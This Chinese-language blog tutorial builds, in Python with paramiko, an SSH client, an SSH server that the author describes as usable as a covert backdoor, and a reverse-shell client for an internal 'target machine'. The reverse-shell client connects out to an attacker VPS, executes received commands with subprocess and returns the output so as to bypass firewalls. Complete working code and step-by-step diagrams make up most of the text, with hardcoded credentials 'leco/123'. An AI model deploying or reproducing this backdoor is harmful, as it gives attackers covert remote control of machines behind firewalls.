提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
文章介绍
这里还是回顾之前的写过的代码:基于Python实现的SSH通信代码(Linux执行)
- 之前这篇文章写的主要是Linux版本的SSH客户端;
- 改进之处:本文将讲解如何利用Python去打造
自建的 SSH 服务端,以及SSH 反向 Shell(突破内网)
SSH客户端代码(可单独使用连接机器)
下面是SSH客户端代码,很简单的代码:
python
import getpass
import paramiko
def ssh_command(ip,port,user,passwd,cmd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(ip,port=port,username=user,password=passwd,timeout=10)
print(f"如果需要退出,输入quie 或者 exit")
while True:
cmd = input(f"SSH >:")
if cmd.lower() in['exit','quit']:
print(f"用户正在退出连接...")
break
if not cmd.strip():
continue
stdin,stdout,stderr = client.exec_command(cmd,timeout=10)
stdout_output = stdout.readlines()
stderr_output = stderr.readlines()
if stdout_output:
print(f"标准输出")
for line in stdout_output:
print(line.strip())
if stderr_output:
print(f"标准错误")
for line in stderr_output:
print(line.strip())
except Exception as e:
print(f"其他错误:{e}")
finally:
client.close()
if __name__ == "__main__":
user = input(f"Username is:")
passwd = getpass.getpass(f"Password is:")
ip = input(f"Enter the target ip addr:") or '192.168.44.131'
port = input(f"Enter the target port:") or '22'
cmd = input(f"Enter your cmd shell:") or 'id'
try:
port = int(port)
except:
port = 2222
ssh_command(ip,port,user,passwd,cmd)
客户端的代码之前已经讲过,不熟悉的师傅可以点击上面的文章链接进行查看;
该代码已经可以单独使用:


--
SSH 服务端实现(Part-1)
你可以用它来做蜜罐(Honeypot) 记录攻击者的密码,或者作为隐蔽的后门服务端。
你需要在这个脚本的同级目录下生成一个秘钥文件(或者让代码每次随机生成,这里演示读取本地秘钥)
- 生成测试秘钥命令:
ssh-keygen -t rsa -f test_rsa.key
python
import os
import paramiko
import socket
import sys
import threading
# 1. 继承 ServerInterface,重写认证规则
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
# 检查信道请求(允许开启 shell)
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
# 自定义密码认证逻辑(因为没有数据库,所以这里固定用户名为 leco,密码为 123)
def check_auth_password(self, username, password):
if (username=='leco') and (password=='123'):
return paramiko.OPEN_SUCCEEDED
return paramiko.AUTH_FAILED
def start_ssh_server(ip,port):
server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
server_socket.bind((ip,port))
server_socket.listen(100)
print(f"[*] SSH Server listening on {ip}:{port}....")
client_socket,addr = server_socket.accept()
print(f"[+] Incoming connection from {addr[0]}:{addr[1]}")
# 2. 将普通的 socket 升级为 SSH 协议通道
bnSession = paramiko.Transport(client_socket)
bnSession.add_server_key(paramiko.RSAKey.generate(2048)) # 随机生成服务器密钥
server = Server()
try:
# Using start_server is the standard way to initialize the server side
bnSession.start_server(server=server)
except Exception as e:
print(f"[-] SSH negotiation failed: {e}")
sys.exit()
# 3. 等待客户端建立通道
chan = bnSession.accept(20)
if chan is None:
print(f"[-] No channel opened by client...")
sys.exit()
print(f"[*] Client connected and authenticated.")
# 服务端发送Hello信息
chan.send(b"[*] Welcome to Leco's SSH Server ...")
# 4. 服务端主动发送命令给客户端执行
while True:
try:
cmd = input(f"SSH-Shell >> ").strip('\n')
if not cmd:
continue
if cmd.lower() not in ['quit','exit']:
chan.send(cmd.encode())
# 接收客户端执行后的回传结果
result = chan.recv(10240).decode('utf-8', errors='ignore') + '\n'
print(f"[*] Received result:\n{result}")
else:
chan.send(b'exit')
print(f"[*] Exiting...")
bnSession.close()
break
except KeyboardInterrupt:
bnSession.close()
break
if __name__ == "__main__":
# 修改端口为1081,避免22端口被占用
start_ssh_server('0.0.0.0', 1081)
具体流程图如下:
bash
[Step 1: 建立基础监听] → server_socket.bind() / listen()
(在本地端口开启普通的 TCP 监听,等待猎物)
│
▼
[Step 2: 接收 TCP 连接] → server_socket.accept()
(有客户端连进来了!拿到原始的网络 Socket)
│
▼
[Step 3: 协议升级与认证] → paramiko.Transport() & check_auth_password()
(给普通 Socket 套上 SSH 加密壳,并验证 leco/123 密码)
│
▼
[Step 4: 开启数据信道] → bnSession.accept() & check_channel_request()
(认证通过!双方同意打通一条名为 'session' 的数据传输管道)
│
▼
[Step 5: 发送控制命令] → input() → chan.send(cmd)
(黑客在服务端输入命令,通过加密信道发给远端靶机)
│
▼
[Step 6: 接收回传结果] → chan.recv(1024) → print()
(靶机执行完毕,服务端接收并打印结果,循环回到 Step 5)
SSH 反向 Shell -Client 变成被控端(Part-2)
场景 :目标靶机在内网(防火墙不让你连它)。于是你在靶机上运行反向客户端,让靶机主动连你的公网服务端。连接成功后,由你的服务端发送命令,靶机执行后把结果发回来!
以下是运行在内网靶机上的反向客户端代码(配合上面的服务端使用):
python
import paramiko
import subprocess
import os
def reverse_ssh_client(server_ip, server_port, user, passwd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# 1. 主动连接黑客的公网 SSH 服务端
print(f"[*] Attempting to connect to {server_ip}:{server_port}...")
client.connect(server_ip, port=server_port, username=user, password=passwd, timeout=15)
# 2. 开启通道
transport = client.get_transport()
chan = transport.open_session()
# 接收服务端的 Welcome 欢迎语
print(chan.recv(1024).decode())
# 3. 循环接收黑客发来的命令,在本地执行后,把结果发回去
while True:
command = chan.recv(1024).decode().strip()
if not command:
continue
if command.lower() == 'exit':
print("[*] Exit command received.")
break
# 使用 subprocess 在靶机本地执行系统命令
try:
# Using 'gbk' for Windows decoding, 'utf-8' for Linux
cmd_output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
cmd_output = e.output
except Exception as e:
cmd_output = str(e).encode()
# 将执行结果回传给服务端
if not cmd_output:
cmd_output = b"Command executed with no output."
chan.send(cmd_output)
except Exception as e:
print(f"[-] Connection or execution error: {e}")
finally:
client.close()
print("[*] Client connection closed.")
if __name__ == '__main__':
# 这里的账号密码必须和你在第二节服务端代码里写死的一致
# Replace '127.0.0.1' with your actual VPS IP when deploying
reverse_ssh_client('117.x.x.x', 1081, 'leco', '123')
流程图如下:
bash
[Step 1: 主动连接控制端] -> client.connect(server_ip)
(靶机主动向公网黑客发起连接,突破内网防火墙的入站限制)
|
↓
[Step 2: 建立通信信道] -> transport.open_session()
(底层的 TCP 握手完成后,开启名为 session 的加密指令通道)
|
↓
[Step 3: 接收握手欢迎语] -> chan.recv(1024).decode()
(通道打通!收到服务端发来的 Welcome 提示,确认对方身份)
|
↓
[Step 4: 挂起并等待命令] -> command = chan.recv(1024)
(进入死循环,等待黑客下发远程控制指令)
|
↓
[Step 5: 操作系统本地执行] -> subprocess.check_output(command)
(收到指令!调用操作系统的 cmd.exe 或 bash 真实执行该命令)
|
↓
[Step 6: 将结果加密回传] -> chan.send(cmd_output)
(把屏幕上的输出结果打包,顺着隧道发回给控制端,然后循环回到 Step 4)
测试效果
准备工作:
- 公网 VPS (服务端): 117.x.x.x
- 本地 PC (内网靶机): 模拟无法被外网直接访问的机器。
- 通信端口: 建议使用 8888(避免 22 端口被系统 SSH 占用)。
(1)在VPS上,修改服务端脚本 (server.py)
bash
if __name__ == "__main__":
# 监听所有网卡,端口改为 8888
start_ssh_server('0.0.0.0', 1081)
在 VPS 上执行命令:python3 server.py

(2)本地 PC(内网靶机)配置,修改客户端脚本 (client.py)
bash
if __name__ == '__main__':
# 指向你的 VPS 公网 IP,端口需与服务端一致
reverse_ssh_client('117.x.x.x', 1081, 'leco', '123')
在本地 PC 上执行命令:python3 client.py

(3)运行后,本地 PC 会主动发起向 117.x.x.x:1081 的连接;随后在服务端执行命令,能够看到确实是本地PC(内网主机) 的Windows信息:

(4)服务端执行命令,但是客户端无任何信息返回:

总结
至此,简单的 内网反弹shell客户端 以及 SSH服务器 成功搭建,期待下次再见;